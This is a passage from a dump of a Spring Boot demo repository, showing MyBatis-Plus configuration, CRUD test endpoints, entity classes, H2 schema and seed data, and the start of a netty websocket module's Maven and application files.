jsonObject.put(\"msg\", fieldError.getDefaultMessage());\n                    jsonList.add(jsonObject);\n                });\n                return R.restResult(jsonList, ApiErrorCode.FAILED);\n            }\n        }\n\n        /**\n         * 系统内部异常，打印异常栈\n         */\n        logger.error(\"Error: handleBadRequest StackTrace : {}\", e);\n        return R.failed(ApiErrorCode.FAILED);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/config/MetaObjectHandlerConfig.java",
    "content": "package com.jun.plugin.springboot.mybatisplus.config;\n\nimport java.util.Date;\n\nimport org.apache.ibatis.reflection.MetaObject;\nimport org.springframework.stereotype.Component;\n\nimport com.baomidou.mybatisplus.core.handlers.MetaObjectHandler;\n\n@Component\npublic class MetaObjectHandlerConfig implements MetaObjectHandler {\n\n  @Override\n  public void insertFill(MetaObject metaObject) {\n    System.out.println(\"插入方法实体填充\");\n    setFieldValByName(\"testDate\", new Date(), metaObject);\n  }\n\n  @Override\n  public void updateFill(MetaObject metaObject) {\n    System.out.println(\"更新方法实体填充\");\n  }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/config/MybatisPlusConfig.java",
    "content": "package com.jun.plugin.springboot.mybatisplus.config;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.mybatis.spring.mapper.MapperScannerConfigurer;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport com.baomidou.mybatisplus.core.parser.ISqlParser;\nimport com.baomidou.mybatisplus.extension.incrementer.H2KeyGenerator;\nimport com.baomidou.mybatisplus.extension.plugins.PaginationInterceptor;\nimport com.baomidou.mybatisplus.extension.plugins.PerformanceInterceptor;\nimport com.baomidou.mybatisplus.extension.plugins.tenant.TenantHandler;\nimport com.baomidou.mybatisplus.extension.plugins.tenant.TenantSqlParser;\n\nimport net.sf.jsqlparser.expression.Expression;\nimport net.sf.jsqlparser.expression.LongValue;\n\n@Configuration\n//@MapperScan(\"com.baomidou.springboot.mapper*\")//这个注解，作用相当于下面的@Bean MapperScannerConfigurer，2者配置1份即可\npublic class MybatisPlusConfig {\n\n    /**\n     * mybatis-plus分页插件<br>\n     * 文档：http://mp.baomidou.com<br>\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        PaginationInterceptor paginationInterceptor = new PaginationInterceptor();\n        /*\n         * 【测试多租户】 SQL 解析处理拦截器<br>\n         * 这里固定写成住户 1 实际情况你可以从cookie读取，因此数据看不到 【 麻花藤 】 这条记录（ 注意观察 SQL ）<br>\n         */\n        List<ISqlParser> sqlParserList = new ArrayList<>();\n        TenantSqlParser tenantSqlParser = new TenantSqlParser();\n        tenantSqlParser.setTenantHandler(new TenantHandler() {\n            @Override\n            public Expression getTenantId() {\n                return new LongValue(1L);\n            }\n\n            @Override\n            public String getTenantIdColumn() {\n                return \"tenant_id\";\n            }\n\n            @Override\n            public boolean doTableFilter(String tableName) {\n                // 这里可以判断是否过滤表\n                /*if (\"user\".equals(tableName)) {\n                    return true;\n                }*/\n                return false;\n            }\n        });\n\n        sqlParserList.add(tenantSqlParser);\n        paginationInterceptor.setSqlParserList(sqlParserList);\n//        paginationInterceptor.setSqlParserFilter(new ISqlParserFilter() {\n//            @Override\n//            public boolean doFilter(MetaObject metaObject) {\n//                MappedStatement ms = PluginUtils.getMappedStatement(metaObject);\n//                // 过滤自定义查询此时无租户信息约束【 麻花藤 】出现\n//                if (\"com.baomidou.springboot.mapper.UserMapper.selectListBySQL\".equals(ms.getId())) {\n//                    return true;\n//                }\n//                return false;\n//            }\n//        });\n        return paginationInterceptor;\n    }\n\n    /**\n     * 相当于顶部的：\n     * {@code @MapperScan(\"com.baomidou.springboot.mapper*\")}\n     * 这里可以扩展，比如使用配置文件来配置扫描Mapper的路径\n     */\n    @Bean\n    public MapperScannerConfigurer mapperScannerConfigurer() {\n        MapperScannerConfigurer scannerConfigurer = new MapperScannerConfigurer();\n        scannerConfigurer.setBasePackage(\"com.baomidou.springboot.mapper*\");\n        return scannerConfigurer;\n    }\n\n    @Bean\n    public H2KeyGenerator getH2KeyGenerator() {\n        return new H2KeyGenerator();\n    }\n\n\n    /**\n     * 性能分析拦截器，不建议生产使用\n     */\n    @Bean\n    public PerformanceInterceptor performanceInterceptor(){\n        return new PerformanceInterceptor();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/controller/UserController.java",
    "content": "package com.jun.plugin.springboot.mybatisplus.controller;\n\nimport java.util.Date;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.transaction.annotation.Transactional;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.api.ApiController;\nimport com.baomidou.mybatisplus.extension.api.Assert;\nimport com.baomidou.mybatisplus.extension.api.R;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.jun.plugin.springboot.mybatisplus.ErrorCode;\nimport com.jun.plugin.springboot.mybatisplus.entity.User;\nimport com.jun.plugin.springboot.mybatisplus.entity.enums.AgeEnum;\nimport com.jun.plugin.springboot.mybatisplus.entity.enums.PhoneEnum;\nimport com.jun.plugin.springboot.mybatisplus.service.IUserService;\n\n/**\n * 代码生成器，参考源码测试用例：\n * <p>\n * /mybatis-plus/src/test/java/com/baomidou/mybatisplus/test/generator/MysqlGenerator.java\n */\n@RestController\n@RequestMapping(\"/user\")\npublic class UserController extends ApiController {\n\n    @Autowired\n    private IUserService userService;\n\n    /**\n     * <p>\n     * 测试通用 Api Controller 逻辑\n     * </p>\n     * 测试地址：\n     * http://localhost:8080/user/api\n     * http://localhost:8080/user/api?test=mybatisplus\n     */\n    @GetMapping(\"/api\")\n    public R<String> testError(String test) {\n        Assert.notNull(ErrorCode.TEST, test);\n        return success(test);\n    }\n\n    /**\n     * http://localhost:8080/user/test\n     */\n    @GetMapping(\"/test\")\n    public IPage<User> test() {\n        return userService.page(new Page<User>(0, 12), null);\n    }\n\n    /**\n     * AR 部分测试\n     * http://localhost:8080/user/test1\n     */\n    @GetMapping(\"/test1\")\n    public IPage<User> test1() {\n        User user = new User(\"testAr\", AgeEnum.ONE, 1);\n        System.err.println(\"删除所有：\" + user.delete(null));\n        user.setRole(111L);\n        user.setTestDate(new Date());\n        user.setPhone(PhoneEnum.CMCC);\n        user.insert();\n        System.err.println(\"查询插入结果：\" + user.selectById().toString());\n        user.setName(\"mybatis-plus-ar\");\n        System.err.println(\"更新：\" + user.updateById());\n        return user.selectPage(new Page<User>(0, 12), null);\n    }\n\n    /**\n     * 增删改查 CRUD\n     * http://localhost:8080/user/test2\n     */\n    @GetMapping(\"/test2\")\n    public User test2() {\n        System.err.println(\"删除一条数据：\" + userService.removeById(1L));\n        System.err.println(\"deleteAll：\" + userService.deleteAll());\n        System.err.println(\"插入一条数据：\" + userService.save(new User(1L, \"张三\", AgeEnum.TWO, 1)));\n        User user = new User(\"张三\", AgeEnum.TWO, 1);\n        boolean result = userService.save(user);\n        // 自动回写的ID\n        Long id = user.getId();\n        System.err.println(\"插入一条数据：\" + result + \", 插入信息：\" + user.toString());\n        System.err.println(\"查询：\" + userService.getById(id).toString());\n        System.err.println(\"更新一条数据：\" + userService.updateById(new User(1L, \"三毛\", AgeEnum.ONE, 1)));\n        for (int i = 0; i < 5; ++i) {\n            userService.save(new User(Long.valueOf(100 + i), \"张三\" + i, AgeEnum.ONE, 1));\n        }\n        IPage<User> userListPage = userService.page(new Page<User>(1, 5), new QueryWrapper<User>());\n        System.err.println(\"total=\" + userListPage.getTotal() + \", current list size=\" + userListPage.getRecords().size());\n\n        userListPage = userService.page(new Page<User>(1, 5), new QueryWrapper<User>().orderByDesc(\"name\"));\n        System.err.println(\"total=\" + userListPage.getTotal() + \", current list size=\" + userListPage.getRecords().size());\n        return userService.getById(1L);\n    }\n\n    /**\n     * 插入 OR 修改\n     * http://localhost:8080/user/test3\n     */\n    @GetMapping(\"/test3\")\n    public User test3() {\n        User user = new User(1L, \"王五\", AgeEnum.ONE, 1);\n        user.setPhone(PhoneEnum.CT);\n        userService.saveOrUpdate(user);\n        return userService.getById(1L);\n    }\n\n    /**\n     * http://localhost:8080/user/add\n     */\n    @GetMapping(\"/add\")\n    public Object addUser() {\n        User user = new User(\"张三'特殊`符号\", AgeEnum.TWO, 1);\n        user.setPhone(PhoneEnum.CUCC);\n        return userService.save(user);\n    }\n\n    /**\n     * http://localhost:8080/user/select_sql\n     */\n    @GetMapping(\"/select_sql\")\n    public Object getUserBySql() {\n        return userService.selectListBySQL();\n    }\n\n    /**\n     * http://localhost:8080/user/select_wrapper\n     */\n    @GetMapping(\"/select_wrapper\")\n    public Object getUserByWrapper() {\n        return userService.selectListByWrapper(new QueryWrapper<User>()\n                .lambda().like(User::getName, \"毛\")\n                .or(e -> e.like(User::getName, \"张\")));\n    }\n\n    /**\n     * <p>\n     * 参数模式分页\n     * </p>\n     * <p>\n     * 7、分页 size 一页显示数量  current 当前页码\n     * 方式一：http://localhost:8080/user/page?size=1&current=1<br>\n     * <p>\n     * 集合模式，不进行分页直接返回所有结果集：\n     * http://localhost:8080/user/page?listMode=true\n     */\n    @GetMapping(\"/page\")\n    public IPage page(Page page, boolean listMode) {\n        if (listMode) {\n            // size 小于 0 不在查询 total 及分页，自动调整为列表模式。\n            // 注意！！这个地方自己控制好！！\n            page.setSize(-1);\n        }\n        return userService.page(page, null);\n    }\n\n    /**\n     * 测试事物\n     * http://localhost:8080/user/test_transactional<br>\n     * 访问如下并未发现插入数据说明事物可靠！！<br>\n     * http://localhost:8080/user/test<br>\n     * <br>\n     * 启动  Application 加上 @EnableTransactionManagement 注解其实可无默认貌似就开启了<br>\n     * 需要事物的方法加上 @Transactional 必须的哦！！\n     */\n    @Transactional(rollbackFor = Exception.class)\n    @GetMapping(\"/test_transactional\")\n    public void testTransactional() {\n        User user = new User(1000L, \"测试事物\", AgeEnum.ONE, 3);\n        userService.save(user);\n        System.out.println(\" 这里手动抛出异常，自动回滚数据\");\n        throw new RuntimeException();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/entity/SuperEntity.java",
    "content": "package com.jun.plugin.springboot.mybatisplus.entity;\n\nimport java.io.Serializable;\n\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.extension.activerecord.Model;\n\n/**\n * 演示实体父类\n */\npublic class SuperEntity<T extends Model> extends Model<T> {\n\n    /**\n     * 主键ID , 这里故意演示注解可以无\n     */\n    @TableId(\"test_id\")\n    private Long id;\n    private Long tenantId;\n\n    public Long getId() {\n        return this.id;\n    }\n\n    public void setId(Long id) {\n        this.id = id;\n    }\n\n    public Long getTenantId() {\n        return tenantId;\n    }\n\n    public SuperEntity setTenantId(Long tenantId) {\n        this.tenantId = tenantId;\n        return this;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/entity/User.java",
    "content": "package com.jun.plugin.springboot.mybatisplus.entity;\n\nimport java.util.Date;\n\nimport com.baomidou.mybatisplus.annotation.FieldFill;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableLogic;\nimport com.jun.plugin.springboot.mybatisplus.entity.enums.AgeEnum;\nimport com.jun.plugin.springboot.mybatisplus.entity.enums.PhoneEnum;\n\n/**\n * 用户表\n */\n@SuppressWarnings(\"serial\")\npublic class User extends SuperEntity<User> {\n\n\n    /**\n     * 名称\n     */\n    private String name;\n    /**\n     * 年龄\n     */\n    private AgeEnum age;\n    /**\n     * 这里故意演示注解可无\n     */\n    @TableField(\"test_type\")\n    @TableLogic\n    private Integer testType;\n\n    /**\n     * 测试插入填充\n     */\n    @TableField(fill = FieldFill.INSERT)\n    private Date testDate;\n\n    private Long role;\n    private PhoneEnum phone;\n\n    public User() {\n    }\n\n    public User(Long id, String name, AgeEnum age, Integer testType) {\n        this.setId(id);\n        this.name = name;\n        this.age = age;\n        this.testType = testType;\n    }\n\n    public User(String name, AgeEnum age, Integer testType) {\n        this.name = name;\n        this.age = age;\n        this.testType = testType;\n    }\n\n\n    public String getName() {\n        return this.name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public AgeEnum getAge() {\n        return this.age;\n    }\n\n    public void setAge(AgeEnum age) {\n        this.age = age;\n    }\n\n    public Integer getTestType() {\n        return this.testType;\n    }\n\n    public void setTestType(Integer testType) {\n        this.testType = testType;\n    }\n\n    public Long getRole() {\n        return this.role;\n    }\n\n    public void setRole(Long role) {\n        this.role = role;\n    }\n\n    public PhoneEnum getPhone() {\n        return this.phone;\n    }\n\n    public void setPhone(PhoneEnum phone) {\n        this.phone = phone;\n    }\n\n    public Date getTestDate() {\n        return testDate;\n    }\n\n    public void setTestDate(Date testDate) {\n        this.testDate = testDate;\n    }\n\n    @Override\n    public String toString() {\n        return \"User [id=\" + this.getId() + \", name=\" + name + \", age=\" + age\n                + \", testType=\" + testType + \", testDate=\"\n                + testDate + \", role=\" + role + \", phone=\" + phone + \"]\";\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/entity/enums/AgeEnum.java",
    "content": "package com.jun.plugin.springboot.mybatisplus.entity.enums;\n\nimport com.baomidou.mybatisplus.core.enums.IEnum;\nimport com.fasterxml.jackson.annotation.JsonFormat;\n\n/**\n * 测试枚举\n */\n@JsonFormat(shape = JsonFormat.Shape.OBJECT)\npublic enum AgeEnum implements IEnum<Integer> {\n    ONE(1, \"一岁\"),\n    TWO(2, \"二岁\");\n\n    private Integer value;\n    private String desc;\n\n    AgeEnum(final Integer value, final String desc) {\n        this.value = value;\n        this.desc = desc;\n    }\n\n    @Override\n    public Integer getValue() {\n        return this.value;\n    }\n\n    public String getDesc(){\n        return this.desc;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/entity/enums/PhoneEnum.java",
    "content": "package com.jun.plugin.springboot.mybatisplus.entity.enums;\n\nimport com.baomidou.mybatisplus.core.enums.IEnum;\nimport com.fasterxml.jackson.annotation.JsonFormat;\n\n/**\n * 运营商联系电话枚举\n */\n@JsonFormat(shape = JsonFormat.Shape.OBJECT)\npublic enum PhoneEnum implements IEnum<String> {\n    CMCC(\"10086\", \"中国移动\"),\n    CUCC(\"10010\", \"中国联通\"),\n    CT(\"10000\", \"中国电信\");\n\n    private String value;\n    private String desc;\n\n    PhoneEnum(final String value, final String desc) {\n        this.value = value;\n        this.desc = desc;\n    }\n\n    @Override\n    public String getValue() {\n        return this.value;\n    }\n\n    public String getDesc(){\n        return this.desc;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/mapper/UserMapper.java",
    "content": "package com.jun.plugin.springboot.mybatisplus.mapper;\n\nimport java.util.List;\n\nimport org.apache.ibatis.annotations.Param;\nimport org.apache.ibatis.annotations.Select;\n\nimport com.baomidou.mybatisplus.core.conditions.Wrapper;\nimport com.jun.plugin.springboot.mybatisplus.SuperMapper;\nimport com.jun.plugin.springboot.mybatisplus.entity.User;\n\n/**\n * User 表数据库控制层接口\n */\npublic interface UserMapper extends SuperMapper<User> {\n\n    /**\n     * 自定义注入方法\n     */\n    int deleteAll();\n\n    @Select(\"select test_id as id, name, age, test_type from user\")\n    List<User> selectListBySQL();\n\n    List<User> selectListByWrapper(@Param(\"ew\") Wrapper wrapper);\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/service/IUserService.java",
    "content": "package com.jun.plugin.springboot.mybatisplus.service;\n\nimport java.util.List;\n\nimport com.baomidou.mybatisplus.core.conditions.Wrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport com.jun.plugin.springboot.mybatisplus.entity.User;\n\n/**\n *\n * User 表数据服务层接口\n *\n */\npublic interface IUserService extends IService<User> {\n\n\tboolean deleteAll();\n\n\tpublic List<User> selectListBySQL();\n\n\tpublic List<User> selectListByWrapper(Wrapper wrapper);\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/service/impl/UserServiceImpl.java",
    "content": "package com.jun.plugin.springboot.mybatisplus.service.impl;\n\nimport java.util.List;\n\nimport org.springframework.stereotype.Service;\n\nimport com.baomidou.mybatisplus.core.conditions.Wrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport com.jun.plugin.springboot.mybatisplus.entity.User;\nimport com.jun.plugin.springboot.mybatisplus.mapper.UserMapper;\nimport com.jun.plugin.springboot.mybatisplus.service.IUserService;\n\n/**\n *\n * User 表数据服务层接口实现类\n *\n */\n@Service\npublic class UserServiceImpl extends ServiceImpl<UserMapper, User> implements IUserService {\n\n\t@Override\n\tpublic boolean deleteAll() {\n\t\treturn retBool(baseMapper.deleteAll());\n\t}\n\n\t@Override\n\tpublic List<User> selectListBySQL() {\n\t\treturn baseMapper.selectListBySQL();\n\t}\n\n\t@Override\n\tpublic List<User> selectListByWrapper(Wrapper wrapper) {\n\t\treturn baseMapper.selectListByWrapper(wrapper);\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/resources/application.yml",
    "content": "#app\nserver:\n    port: 8080\n\n#spring\nspring:\n  devtools:\n    restart:\n      enabled: false\n\n  # H2 DATABASE CONFIG\n  datasource:\n    type: com.zaxxer.hikari.HikariDataSource\n    schema: classpath:/db/schema-h2.sql\n    data: classpath:/db/data-h2.sql\n    url: jdbc:h2:mem:testdb\n    username: sa\n    password: sa\n    platform: h2\n    initialization-mode: always\n    continue-on-error: true\n  h2:\n    console:\n      enabled: true\n      path: /console\n\n#mybatis\nmybatis-plus:\n  mapper-locations: classpath:/mapper/*Mapper.xml\n  #实体扫描，多个package用逗号或者分号分隔\n  typeAliasesPackage: com.jun.plugin.springboot.mybatisplus.entity\n  typeEnumsPackage: com.jun.plugin.springboot.mybatisplus.entity.enums\n  global-config:\n    # 数据库相关配置\n    db-config:\n      #主键类型  AUTO:\"数据库ID自增\", INPUT:\"用户输入ID\",ID_WORKER:\"全局唯一ID (数字类型唯一ID)\", UUID:\"全局唯一ID UUID\"; id_worker\n      id-type: id-worker\n      #字段策略 IGNORED:\"忽略判断\",NOT_NULL:\"非 NULL 判断\"),NOT_EMPTY:\"非空判断\"  not_empty\n      field-strategy: not-empty\n      #驼峰下划线转换\n      column-underline: true\n      #数据库大写下划线转换\n      #capital-mode: true\n      #逻辑删除配置\n      logic-delete-value: 0\n      logic-not-delete-value: 1\n      db-type: h2\n    #刷新mapper 调试神器\n    refresh: true\n  # 原生配置\n  configuration:\n    map-underscore-to-camel-case: true\n    cache-enabled: false\n##logging\n#logging:\n#  level: warn\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/resources/db/data-h2.sql",
    "content": "\nDELETE FROM user;\n\nINSERT INTO user (test_id, tenant_id, name, age, test_type, test_date, role, phone) VALUES\n(0, 1, '雷锋', 1, 1, '2017-1-1 1:1:1', 1, '10010'),\n(1, 1, '三毛', 2, 1, '2017-2-2 1:1:1', 1, '10086'),\n(2, 1, '小马', 1, 1, '2017-3-3 1:1:1', 1, '10000'),\n(3, 2, '麻花藤', 1, 1, '2017-3-3 1:1:1', 1, '10000'),\n(4, 2, '东狗', 2, 1, '2017-3-3 1:1:1', 1, '10086'),\n(5, 1, '王五', 2, 1, '2017-3-3 1:1:1', 1, '10010');\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/resources/db/schema-h2.sql",
    "content": "\nDROP TABLE IF EXISTS user;\n\nCREATE TABLE user\n(\n\ttest_id BIGINT(20) NOT NULL COMMENT '主键ID',\n\ttenant_id BIGINT(20) NOT NULL COMMENT '租户ID',\n\tname VARCHAR(30) NULL DEFAULT NULL COMMENT '名称',\n\tage INT(11) NULL DEFAULT NULL COMMENT '年龄',\n\ttest_type INT(11) NULL DEFAULT NULL COMMENT '测试下划线字段命名类型',\n\ttest_date DATETIME NULL DEFAULT NULL COMMENT '日期',\n\trole BIGINT(20) NULL DEFAULT NULL COMMENT '测试',\n\tphone VARCHAR(11) NULL DEFAULT NULL COMMENT '手机号码',\n\tPRIMARY KEY (test_id)\n);\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/resources/mapper/UserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.jun.plugin.springboot.mybatisplus.mapper.UserMapper\">\n\n\t<!-- 通用查询结果列 -->\n\t<sql id=\"Base_Column_List\">\n\t\ttest_id AS testId, name, age, test_type AS testType, role, phone\n\t</sql>\n\n\t<delete id=\"deleteAll\">\n\t\tDELETE FROM USER\n\t</delete>\n\n\t<select id=\"selectListByWrapper\" resultType=\"com.jun.plugin.springboot.mybatisplus.entity.model.User\">\n\t\tSELECT * FROM USER\n\t\t<!-- 判断 wrapper 是否为空 emptyOfWhere -->\n\t\t<where>\n\t\t\t${ew.sqlSegment}\n\t\t</where>\n\t</select>\n</mapper>"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/test/java/com/jun/plugin/springboot/mybatisplus/AppTest.java",
    "content": "package com.jun.plugin.springboot.mybatisplus;\n\n/**\n * Created by jobob on 17/5/16.\n */\npublic class AppTest {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/.gitignore",
    "content": "target/\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\nnbproject/private/\nbuild/\nnbbuild/\ndist/\nnbdist/\n.nb-gradle/"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/README.md",
    "content": "## 简介\nSpring Boot netty websocket\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.company.project</groupId>\n    <artifactId>springboot_netty_websocket</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <mybatis-plus.version>3.3.0</mybatis-plus.version>\n    </properties>\n\n    <!-- Inherit defaults from Spring Boot -->\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n\n    <dependencies>\n        <!--Spring Boot依赖-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <!--MyBatis 及 插件依赖-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>dynamic-datasource-spring-boot-starter</artifactId>\n            <version>2.5.5</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-generator</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.10</version>\n            <scope>provided</scope>\n        </dependency>\n\n\n        <!--常用库依赖-->\n        <dependency>\n            <groupId>commons-codec</groupId>\n            <artifactId>commons-codec</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.6</version>\n        </dependency>\n        <!--MySQL JDBC驱动-->\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n\n        <!--阿里 FastJson依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.47</version>\n        </dependency>\n        <!--阿里 Druid Spring Boot Starter依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n            <version>1.1.10</version>\n        </dependency>\n        <!--代码生成器依赖-->\n        <dependency>\n            <groupId>org.freemarker</groupId>\n            <artifactId>freemarker</artifactId>\n            <version>2.3.30</version>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.github.xiaoymin</groupId>\n            <artifactId>knife4j-spring-boot-starter</artifactId>\n            <version>2.0.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>io.jsonwebtoken</groupId>\n            <artifactId>jjwt</artifactId>\n            <version>0.9.0</version>\n        </dependency>\n        <dependency>\n            <groupId>io.netty</groupId>\n            <artifactId>netty-all</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <repositories>\n        <repository>\n            <id>aliyun-repos</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>aliyun-plugin</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/Application.java",
    "content": "package com.company.project;\n\nimport com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.core.env.Environment;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\nimport java.net.InetAddress;\n\n@SpringBootApplication(exclude = DruidDataSourceAutoConfigure.class)\n@MapperScan(\"com.company.project.dao\")\npublic class Application {\n\n    private static Logger logger= LoggerFactory.getLogger(Application.class);\n\n    public static void main(String[] args) throws Exception {\n\n        ConfigurableApplicationContext application = SpringApplication.run(Application.class, args);\n\n        Environment env = application.getEnvironment();\n        logger.info(\"\\n----------------------------------------------------------\\n\\t\" +\n                        \"Application '{}' is running! Access URLs:\\n\\t\" +\n                        \"Local: \\t\\thttp://localhost:{}\\n\\t\" +\n                        \"External: \\thttp://{}:{}\\n\\t\" +\n                        \"Doc: \\thttp://{}:{}/doc.html\\n\" +\n                        \"----------------------------------------------------------\",\n                env.getProperty(\"spring.application.name\"),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"));\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/configurer/LoginInterceptor.java",
